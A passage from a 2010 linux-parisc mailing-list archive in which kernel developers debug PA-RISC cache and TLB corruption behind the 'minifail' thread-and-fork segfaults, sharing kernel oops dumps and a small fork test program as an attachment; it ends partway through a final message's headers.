Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id CE3A58EE0E0;
	Fri, 30 Apr 2010 14:13:46 -0700 (PDT)
In-Reply-To: <20100430211136.GA11644@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.28.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2820
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2820>

On Fri, 2010-04-30 at 17:11 -0400, John David Anglin wrote:
> On Fri, 30 Apr 2010, James Bottomley wrote:
> 
> > It's the essential patch we need to fix up our kmapping.  Right at the
> > moment kmap of a page with a dirty cache line in userspace sees stale
> > data and kunmap of a page the kernel has modified will see likewise.
> 
> Did you try using the version of copy_user_page_asm that uses
> equivalent aliasing?   There is an issue with needing cache flushing
> noted in pgtable.h, but if this works it may be less of a hammer.

Not yet.  I want to isolate the root cause first before I start adding
optimisations.  Although the optimisation is a fairly safe one, since
it's used by a lot of other architectures.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Patch for segfaults in minifail tests
Date: Sat, 1 May 2010 20:29:09 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <o2n7d01f9f01005011129ye53a95acq164ca882aa8792ef@mail.gmail.com>
References: <1272651697.2844.39.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: dough.gmane.org 1272738576 28943 80.91.229.12 (1 May 2010 18:29:36 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 1 May 2010 18:29:36 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 01 20:29:35 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O8HRU-0003oe-Rh
	for glpp-linux-parisc@lo.gmane.org; Sat, 01 May 2010 20:29:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753692Ab0EAS3c (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 1 May 2010 14:29:32 -0400
Original-Received: from mail-pw0-f46.google.com ([209.85.160.46]:48261 "EHLO
	mail-pw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752345Ab0EAS3b (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 1 May 2010 14:29:31 -0400
Original-Received: by pwj9 with SMTP id 9so683936pwj.19
        for <linux-parisc@vger.kernel.org>; Sat, 01 May 2010 11:29:31 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:mime-version:sender:received
         :in-reply-to:references:from:date:x-google-sender-auth:message-id
         :subject:to:content-type;
        bh=eIB2oYc6z4ksRlE2Hk1Zet1WurhUHK/miegVKEjHSnM=;
        b=S7f07djnj/As2zjZuthiTpTpLizBtVWyBsch6dwvBzqvGouvMzEAQDd9r6r/IAP6lA
         KwluOcBJx+zRt2EfhgceT8fQJrY0p2vtMsXgHbFLyaC+NeLulOtKnG+43XeyHaPwxxTl
         BDPTVXVLJBLSh8BTy+XAI+46egZUX3q6MyKkE=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:content-type;
        b=cfiNDQFLg5clQK3EGw9DrXrn5vcJPanXEV3EDF58+7NwxpJrsIBvUzUrzJDCO4z0uI
         Uh0mBiThGlzAUOhjzCTYP1CqQELdgFB4B1azqvhYMiPwQigx4WKl3SWTkzReotpzpGIx
         zMcVtjz4NkIMhaLbkOZZb+T/P6TxOuSMbWZlw=
Original-Received: by 10.141.89.5 with SMTP id r5mr2115879rvl.257.1272738569219; Sat, 
	01 May 2010 11:29:29 -0700 (PDT)
Original-Received: by 10.140.170.11 with HTTP; Sat, 1 May 2010 11:29:09 -0700 (PDT)
In-Reply-To: <1272651697.2844.39.camel@mulgrave.site>
X-Google-Sender-Auth: 71515149c77795b1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2821
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2821>

On Fri, Apr 30, 2010 at 8:21 PM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
> T-bone is keeping a web page with all the failing tests on now:
>
> http://wiki.parisc-linux.org/TestCases

About this: I've had to blaze through hundreds of emails to get this
data together. TBH it's been quite hard to figure which testcase
related to which bug and which patch. I'm not absolutely sure that my
segmentation is right (all the futex/fork/vfork/etc threads seem to
deal with the same kind of problems). I'm also not entirely certain
that I haven't listed bugs that are now fixed. I may also have
overlooked mails containing non-obvious testcases.

What I'm trying to say is that this page is useless without your
feedback. I'd especially need people to, short of updating it
themselves (^-^), tell me what can be added/removed/improved. Given a
Message-ID, I can do the dirty work ;-)

Comments are welcome, I hope this will be anyhow helpful.

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Sat, 1 May 2010 20:34:13 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <k2y7d01f9f01005011134p72082b2bh5fe41d61d9e16aa1@mail.gmail.com>
References: <20100412214118.46D925160@hiauly1.hia.nrc.ca> <20100413115501.307040@gmx.net> 
	<20100419162653.GA106@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1272738884 29981 80.91.229.12 (1 May 2010 18:34:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 1 May 2010 18:34:44 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	gniibe@fsij.org, carlos@systemhalted.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 01 20:34:42 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O8HWR-0007Sn-4F
	for glpp-linux-parisc@lo.gmane.org; Sat, 01 May 2010 20:34:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752293Ab0EASeh convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 1 May 2010 14:34:37 -0400
Original-Received: from mail-px0-f174.google.com ([209.85.212.174]:38757 "EHLO
	mail-px0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750981Ab0EASeh convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 1 May 2010 14:34:37 -0400
Original-Received: by pxi17 with SMTP id 17so679022pxi.19
        for <linux-parisc@vger.kernel.org>; Sat, 01 May 2010 11:34:34 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:mime-version:sender:received
         :in-reply-to:references:from:date:x-google-sender-auth:message-id
         :subject:to:cc:content-type:content-transfer-encoding;
        bh=6PmFRUt1xbeSpkBJx0hrwReh0dWHHJpiChXLol8zsNE=;
        b=xKJ2AwpSU/DqxDd1CSkkqcq1Pzq+swPE+yQTP63dm5pCalA/Q6/rr/PE21CEpU02Di
         rAuvTu2vNmrQE8COjQH+mMk2otiITb1l0G0iTcJ2YN4JBoNLJiu+nWkCmkfzbzlF9K2J
         1eD2yNKnWsTC1uwWz0R7Z5B7RVZsqH+3v10ww=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type
         :content-transfer-encoding;
        b=kLg7LcXVZnCMpYq/WiC1f7Yu8iEIGMtDo1txoQeJvoiJrX19jkBf8/KkQbufN3RTzw
         YOBs8Waeg1gtVy1FIwyRuQyGJgi8v6TlhO23/10BnnlDqrjJPKfG65HYvzYaQCsd5LR8
         ciR2KNE3xESBIcBwSwKClFtYkCbhSZkTnxBcA=
Original-Received: by 10.141.89.5 with SMTP id r5mr2118765rvl.257.1272738873146; Sat, 
	01 May 2010 11:34:33 -0700 (PDT)
Original-Received: by 10.140.170.11 with HTTP; Sat, 1 May 2010 11:34:13 -0700 (PDT)
In-Reply-To: <20100419162653.GA106@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 65c163ea63280aaf
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2822
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2822>

On Mon, Apr 19, 2010 at 6:26 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> Hi Helge,
>
> On Tue, 13 Apr 2010, Helge Deller wrote:
>
>> Still crashes.
>
> Can you you try the patch below? =C2=A0The change to cacheflush.h is =
the same
> as before.

=46or the records, while setting up the wiki's TestCases page, it
noticed that the initial large patch that you sent (see
https://patchwork.kernel.org/patch/91525/ ) contained bits that
weren't part of the split chunks you sent afterwards.

This patch (pte.d.2) seems to update some of those chunks and also
contains bits that weren't either part of them.

That being said so that we do not loose track of potentially useful
code. Though maybe kyle has all of this sorted out already and I'm
just unable to figure it out myself ;-)

HTH

T-Bone

--=20
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Sat, 1 May 2010 16:17:14 -0400 (EDT)
Lines: 71
Approved: news@gmane.org
Message-ID: <20100501201715.44ABB515D@hiauly1.hia.nrc.ca>
References: <k2y7d01f9f01005011134p72082b2bh5fe41d61d9e16aa1@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1272745046 16811 80.91.229.12 (1 May 2010 20:17:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 1 May 2010 20:17:26 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, deller@gmx.de,
	linux-parisc@vger.kernel.org, gniibe@fsij.org,
	carlos@systemhalted.org
To: T-Bone@parisc-linux.org (Thibaut VARENE)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 01 22:17:24 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O8J7o-0004SC-95
	for glpp-linux-parisc@lo.gmane.org; Sat, 01 May 2010 22:17:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754033Ab0EAURT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 1 May 2010 16:17:19 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4704 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753651Ab0EAURR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 1 May 2010 16:17:17 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 44ABB515D; Sat,  1 May 2010 16:17:14 -0400 (EDT)
In-Reply-To: <k2y7d01f9f01005011134p72082b2bh5fe41d61d9e16aa1@mail.gmail.com> from "Thibaut VARENE" at May 1, 2010 08:34:13 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2823
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2823>

> On Mon, Apr 19, 2010 at 6:26 PM, John David Anglin
> <dave@hiauly1.hia.nrc.ca> wrote:
> > Hi Helge,
> >
> > On Tue, 13 Apr 2010, Helge Deller wrote:
> >
> >> Still crashes.
> >
> > Can you you try the patch below? =C2=A0The change to cacheflush.h is the =
> same
> > as before.
> 
> For the records, while setting up the wiki's TestCases page, it
> noticed that the initial large patch that you sent (see
> https://patchwork.kernel.org/patch/91525/ ) contained bits that
> weren't part of the split chunks you sent afterwards.
> 
> This patch (pte.d.2) seems to update some of those chunks and also
> contains bits that weren't either part of them.

The split chunks were mainly cleanups.  As far as I know, they are
obvious and provide no significant change in functionality.  I didn't
intentionally change any of the split hunks in patch4 (pte.d.2) although
this patch does touch some of the same files.  Possibly, the LWS fixes
should be split into two (obvious and UP locking).

Both the original patch and pte.d.2 were experimental.  Since I sent it,
I continued to experiment and reached a change that appears to fix the
minifail bug in a somewhat different manner than proposed by James.  However,
I'm still seeing some issues that appear to be PTE related (segmentation
faults in sh mainly).

At this point, I don't know why I still see problems.  I have one idea left
to try.  I also would like to implement copy_user_page with equivalent
aliasing.  My first attempt didn't work.  I just enabled code in pacache.S.

I have more or less reached the conclusion that our PTE/TLB management
is quite broken on SMP.  I tried James' patch but had trouble with segmention
faults on my rp3440 and a GCC build died early in stage 1 (make -j8
bootstrap).  I need to try it with a clean build.

I may be wrong but I think a flush in kmap(_atomic) won't work on SMP
because another user may just redirty the page when it is shared.

> That being said so that we do not loose track of potentially useful
> code. Though maybe kyle has all of this sorted out already and I'm
> just unable to figure it out myself ;-)

I don't think there's a clear path.  I've come to realize that I don't
understand what's required of the higher level code.  The documentation
doesn't help much.  Looking at other archs provides some clues.  I've
looked at ia64 a bit (see for example TLB shootout support and retry in
TLB miss handler).

Regarding the wiki, it's a useful summary.  However, #561203 (minifail
bug) is not a "Futex wait failure".  We may have futex bugs, but I'm not
aware of a testcase.  The minifail bug is a "Threads and fork" problem
arising from cache corruption.  Mainly, copy_user_page is broken when
copying memory shared by more than one process.  There are also issues
in PTE/TLB management on SMP systems.  Probably, the vfork/execve bug
is caused by the same problem.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Patch for segfaults in minifail tests
Date: Sun, 02 May 2010 00:25:26 +0200
Lines: 187
Approved: news@gmane.org
Message-ID: <4BDCAA56.4010905@gmx.de>
References: <1272651697.2844.39.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------010404060101030008000604"
X-Trace: dough.gmane.org 1272752735 6526 80.91.229.12 (1 May 2010 22:25:35 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 1 May 2010 22:25:35 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	T-Bone@parisc-linux.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 02 00:25:33 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O8L7s-0005Iy-D0
	for glpp-linux-parisc@lo.gmane.org; Sun, 02 May 2010 00:25:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752889Ab0EAWZb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 1 May 2010 18:25:31 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:53478 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751854Ab0EAWZa (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 1 May 2010 18:25:30 -0400
Original-Received: (qmail invoked by alias); 01 May 2010 22:25:28 -0000
Original-Received: from p54AD203B.dip0.t-ipconnect.de (EHLO halden.box) [84.173.32.59]
  by mail.gmx.net (mp069) with SMTP; 02 May 2010 00:25:28 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18ZGL4OFzgZhFvxjxRGQmXpQm4CvxYagOoJT5lOAy
	xaM8aHBgLkc+3C
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.9) Gecko/20100330 Fedora/3.0.4-1.fc11 Lightning/1.0b2pre Thunderbird/3.0.4
In-Reply-To: <1272651697.2844.39.camel@mulgrave.site>
X-Enigmail-Version: 1.0.1
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.46000000000000002
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2824
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2824>

This is a multi-part message in MIME format.
--------------010404060101030008000604
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit

On 04/30/2010 08:21 PM, James Bottomley wrote:
> T-bone is keeping a web page with all the failing tests on now:
> 
> http://wiki.parisc-linux.org/TestCases
> 
> The patch below is what I've found fixes the minifail6 case, but it
> doesn't seem to fully fix the minifail one (although the frequency goes
> down).
> 
> It's the essential patch we need to fix up our kmapping.  Right at the
> moment kmap of a page with a dirty cache line in userspace sees stale
> data and kunmap of a page the kernel has modified will see likewise.

Hi James,

I tried your patch on top of a 2.6.33.2 kernel (SMP, 32bit, PA8500 (PCX-W) CPU).
I still do see all the page faults as before. They even seem to trigger 
faster than with a few of Dave's patches.

I usually run this command
	i=0; while true; do i=$(($i+1)); echo Run $i; ./minifail_dave; done;
in a few screen sessions in parallel.

Thibeaut: I've attached the testcase (I called it minifail_dave, since it
was changed by Dave). Maybe you can attach it to your website if it's not
yet there...?

Helge
-----------------

do_page_fault() pid=4325 command='minifail_dave' type=6 address=0x00000003

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  0004ff0f 1055e000 403390d7 c03613c0
r04-07  4034b5f4 00000007 4034bdf4 00000000
r08-11  4034be64 00000000 c03613ca 0000001c
r12-15  4034be60 4034c7f8 00000000 c0361448
r16-19  4034c0b0 c0361448 40349270 00000000
r20-23  00000000 00000000 00000000 00000000
r24-27  fffffff5 ffffffd3 4034c0b0 00011dac
r28-31  00000000 4034c0b0 c03614c0 403390d7
sr00-03  00001111 0000111c 00000000 00001111
sr04-07  00001111 00001111 00001111 00001111

      VZOUICununcqcqcqcqcqcrmunTDVZOUI
FPSR: 00000000000000000000000000000000
FPER1: 00000000
fr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
fr04-07  8f828e808edb4080 000000001011be24 107495b01078db64 0000000000000000
fr08-11  8f844240107b8000 0000000800000000 8edb40808f828e80 8f8422b81056115c
fr12-15  107495b010803280 1056115c1011be24 00000002ffffff9c fffff00000000000
fr16-19  8f84428010802840 8f828edc8f828ec0 8f828e8000000000 8f81bea88f844208
fr20-23  8f8442088f844210 8f844208101dc9f4 0000000000000090 00001c9800000000
fr24-27  3ff0000000000000 3fe0000000000000 412e848000000000 00000000001e8480
fr28-31  000004000000007a 000000101016bee8 0000000f106ff040 106e3b3810802894

IASQ: 00001111 00001111 IAOQ: 00000003 00000007
 IIR: 43ffff80    ISR: 00001111  IOR: 40000bd0
 CPU:        0   CR30: 8d9f8000 CR31: ffffffff
 ORIG_R28: 00000000
 IAOQ[0]: 00000003
 IAOQ[1]: 00000007
 RP(r2): 403390d7
pagealloc: memory corruption
88140040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
88140050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
88140060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
88140070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
88140080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
88140090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
881400a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
881400b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
Backtrace:
 [<1011ecb0>] show_stack+0x18/0x28
 [<10117b94>] dump_stack+0x1c/0x2c
 [<101c6270>] kernel_map_pages+0x2a0/0x2b8
 [<1019eb24>] get_page_from_freelist+0x3e4/0x5f4
 [<1019ee68>] __alloc_pages_nodemask+0x134/0x610
 [<101b1d6c>] do_wp_page+0x260/0xa00
 [<101b3ac0>] handle_mm_fault+0x4cc/0x784
 [<1011d844>] do_page_fault+0x1f8/0x2fc
 [<1011f4ec>] handle_interruption+0xec/0x730
 [<10103078>] intr_check_sig+0x0/0x34


do_page_fault() pid=7143 command='minifail_dave' type=6 address=0x00000003

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  0004ff0f 1055e000 403390d7 bffaa3c0
r04-07  4034b5f4 00000007 4034bdf4 00000000
r08-11  4034be64 00000000 bffaa3ca 0000001c
r12-15  4034be60 4034c7f8 00000000 bffaa448
r16-19  4034c0b0 bffaa448 40349270 00000000
r20-23  00000000 00000000 00000000 00000000
r24-27  fffffff5 ffffffd3 4034c0b0 00011dac
r28-31  00000000 4034c0b0 bffaa4c0 403390d7
sr00-03  00001c1b 00000000 00000000 00001c1b
sr04-07  00001c1b 00001c1b 00001c1b 00001c1b

      VZOUICununcqcqcqcqcqcrmunTDVZOUI
FPSR: 00000000000000000000000000000000
FPER1: 00000000
fr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
fr04-07  8f828e808edb4080 000000001011be24 107495b01078db64 0000000000000000
fr08-11  8f844240107b8000 0000000800000000 8edb40808f828e80 8f8422b81056115c
fr12-15  107495b010803280 1056115c1011be24 00000002ffffff9c fffff00000000000
fr16-19  8f84428010802840 8f828edc8f828ec0 8f828e8000000000 8f81bea88f844208
fr20-23  8f8442088f844210 8f844208101dc9f4 0000000000000090 00001c9800000000
fr24-27  3ff0000000000000 3fe0000000000000 412e848000000000 00000000001e8480
fr28-31  000004000000007a 000000101016bee8 0000000f106ff040 106e3b3810802894

IASQ: 00001c1b 00001c1b IAOQ: 00000003 00000007
 IIR: 43ffff80    ISR: 00001c1b  IOR: 40000bd0
 CPU:        1   CR30: 86860000 CR31: ffffffff
 ORIG_R28: 00000000
 IAOQ[0]: 00000003
 IAOQ[1]: 00000007
 RP(r2): 403390d7

do_page_fault() pid=9873 command='minifail_dave' type=6 address=0x00000003

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  0004ff0f 1055e000 403390d7 c06e53c0
r04-07  4034b5f4 00000007 4034bdf4 00000000
r08-11  4034be64 00000000 c06e53ca 0000001c
r12-15  4034be60 4034c7f8 00000000 c06e5448
r16-19  4034c0b0 c06e5448 40349270 00000000
r20-23  00000000 00000000 00000000 00000000
r24-27  fffffff5 ffffffd3 4034c0b0 00011dac
r28-31  00000000 4034c0b0 c06e54c0 403390d7
sr00-03  000026c7 00000000 00000000 000026c7
sr04-07  000026c7 000026c7 000026c7 000026c7

      VZOUICununcqcqcqcqcqcrmunTDVZOUI
FPSR: 00000000000000000000000000000000
FPER1: 00000000
fr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
fr04-07  8f828e808edb4080 000000001011be24 107495b01078db64 0000000000000000
fr08-11  8f844240107b8000 0000000800000000 8edb40808f828e80 8f8422b81056115c
fr12-15  107495b010803280 1056115c1011be24 00000002ffffff9c fffff00000000000
fr16-19  8f84428010802840 8f828edc8f828ec0 8f828e8000000000 8f81bea88f844208
fr20-23  8f8442088f844210 8f844208101dc9f4 0000000000000090 00001c9800000000
fr24-27  3ff0000000000000 3fe0000000000000 412e848000000000 00000000001e8480
fr28-31  000004000000007a 000000101016bee8 0000000f106ff040 106e3b3810802894

IASQ: 000026c7 000026c7 IAOQ: 00000003 00000007
 IIR: 43ffff80    ISR: 000026c7  IOR: 40000bd0
 CPU:        0   CR30: 8dadc000 CR31: ffffffff
 ORIG_R28: 00000000
 IAOQ[0]: 00000003
 IAOQ[1]: 00000007
 RP(r2): 403390d7


--------------010404060101030008000604
Content-Type: text/plain;
 name="minifail_dave.cpp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
 filename="minifail_dave.cpp"

I2luY2x1ZGUgPHB0aHJlYWQuaD4NCiNpbmNsdWRlIDx1bmlzdGQuaD4NCiNpbmNsdWRlIDxz
dGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KDQovKg0KIGcrKyAgbWluaWZhaWxfZGF2
ZS5jcHAgLW8gbWluaWZhaWxfZGF2ZSAtTzAgLXB0aHJlYWQgLWcNCg0KIGk9MDsgd2hpbGUg
dHJ1ZTsgZG8gaT0kKCgkaSsxKSk7IGVjaG8gUnVuICRpOyAuL21pbmlmYWlsX2RhdmU7IGRv
bmU7DQogKi8NCnZvaWQqIHRocmVhZF9ydW4odm9pZCogYXJnKSB7DQoJd3JpdGUoMSwiVGhy
ZWFkIE9LLlxuIiwxMSk7DQp9DQoNCmludCBwdXJlX3Rlc3QoKSB7DQoJcHRocmVhZF90IHRo
cmVhZDsNCglwdGhyZWFkX2NyZWF0ZSgmdGhyZWFkLCBOVUxMLCB0aHJlYWRfcnVuLCBOVUxM
KTsNCg0KCXN3aXRjaCAoZm9yaygpKSB7DQoJCWNhc2UgLTE6DQoJCQlwZXJyb3IoImZvcmso
KSBmYWlsZWQiKTsNCgkJY2FzZSAwOg0KCQkJd3JpdGUoMSwiQ2hpbGQgT0suXG4iLDEwKTsN
CgkJCV9leGl0KDApOw0KCQlkZWZhdWx0Og0KCQkJYnJlYWs7DQoJCQ0KCX0NCgkNCglwdGhy
ZWFkX2pvaW4odGhyZWFkLCBOVUxMKTsNCglyZXR1cm4gMDsNCn0NCg0KaW50IG1haW4oaW50
IGFyZ2MsIGNoYXIqKiBhcmd2KSB7DQoJcmV0dXJuIHB1cmVfdGVzdCgpOw0KfQ0KDQo=
--------------010404060101030008000604--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Patch for segfaults in minifail tests
Date: Sat, 1 May 2010 19:13:54 -0400 (EDT)
Lines: 30
